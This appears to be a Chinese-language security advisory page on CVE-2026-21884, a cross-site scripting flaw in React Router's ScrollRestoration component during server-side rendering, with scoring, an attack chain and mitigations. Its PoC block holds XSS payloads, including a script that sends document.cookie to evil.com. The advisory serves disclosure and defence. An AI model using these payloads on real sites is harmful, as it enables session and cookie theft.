IPBUF安全漏洞报告
English
CVE-2026-21884 CVSS 8.2 高危

CVE-2026-21884: React Router ScrollRestoration XSS漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2026-21884
漏洞类型
XSS跨站脚本攻击
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
@remix-run/react, react-router

相关标签

XSS跨站脚本React RouterSSR服务器端渲染@remix-run/reactreact-routerCVE-2026-21884高危漏洞Framework Mode

漏洞概述

CVE-2026-21884是React Router框架中的一个高危跨站脚本(XSS)漏洞。该漏洞存在于@remix-run/react的<ScrollRestoration>组件中,在Framework Mode下使用getKey或storageKey属性进行服务器端渲染(SSR)时,如果这些属性值来自不受信任的用户输入,攻击者可以注入任意JavaScript代码。漏洞影响@remix-run/react 2.17.3之前版本以及react-router 7.0.0至7.11.0版本。由于该漏洞在SSR阶段即可执行恶意脚本,攻击者可以窃取用户会话cookie、劫持用户账户或执行其他恶意操作。CVSS评分8.2,属于高危漏洞,攻击复杂度低,无需认证但需要用户交互,机密性影响高。

技术细节

漏洞根源在于React Router的<ScrollRestoration>组件在Framework Mode下处理getKey和storageKey属性时缺乏充分的输入验证。当应用在服务器端渲染过程中,如果传递给这些props的值包含恶意脚本内容,会被直接渲染到HTML输出中。攻击者可以通过构造包含XSS payload的URL参数或其他输入,使服务器在渲染页面时将恶意代码嵌入到scroll restoration的key值中。由于渲染发生在服务器端,恶意脚本会在页面加载时立即执行,绕过了传统客户端XSS的防护机制。值得注意的是,如果应用未启用Framework Mode的SSR、使用<BrowserRouter>的声明式路由模式、或使用createBrowserRouter/<RouterProvider>的数据路由模式,则不受此漏洞影响。

攻击链分析

STEP 1
步骤1
攻击者识别使用React Router且启用了Framework Mode SSR的目标应用
STEP 2
步骤2
攻击者构造包含XSS payload的恶意URL或输入,作为getKey/storageKey的值
STEP 3
步骤3
诱使受害者访问恶意链接或提交恶意输入
STEP 4
步骤4
服务器端渲染时,<ScrollRestoration>组件处理恶意key值
STEP 5
步骤5
恶意JavaScript代码被嵌入到HTML响应中并在用户浏览器执行
STEP 6
步骤6
攻击者成功窃取用户cookie、会话令牌或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious payload for CVE-2026-21884 // Attackers can inject XSS via getKey or storageKey props // Example malicious ScrollRestoration usage: <ScrollRestoration getKey={(location) => { // Vulnerable: directly using untrusted location data return location.search; // attacker can inject: ?key=<img src=x onerror=alert(1)> }} /> // Server-side exploitation scenario: // 1. Attacker crafts URL: https://victim.com/page?key=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> // 2. Server renders <ScrollRestoration getKey={() => location.search} /> // 3. Malicious script executes during SSR // Safe implementation example: import DOMPurify from 'dompurify'; <ScrollRestoration getKey={(location) => { // Sanitize untrusted input const safeKey = DOMPurify.sanitize(location.search, {RETURN_TRUSTED_TYPE: false}); return safeKey; }} />

影响范围

@remix-run/react < 2.17.3
react-router 7.0.0 - 7.11.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用Framework Mode的服务器端渲染;2)改用<BrowserRouter>声明式路由模式替代<ScrollRestoration>;3)改用createBrowserRouter/<RouterProvider>数据路由模式;4)对所有传递给getKey和storageKey的用户输入进行严格的HTML转义和消毒处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表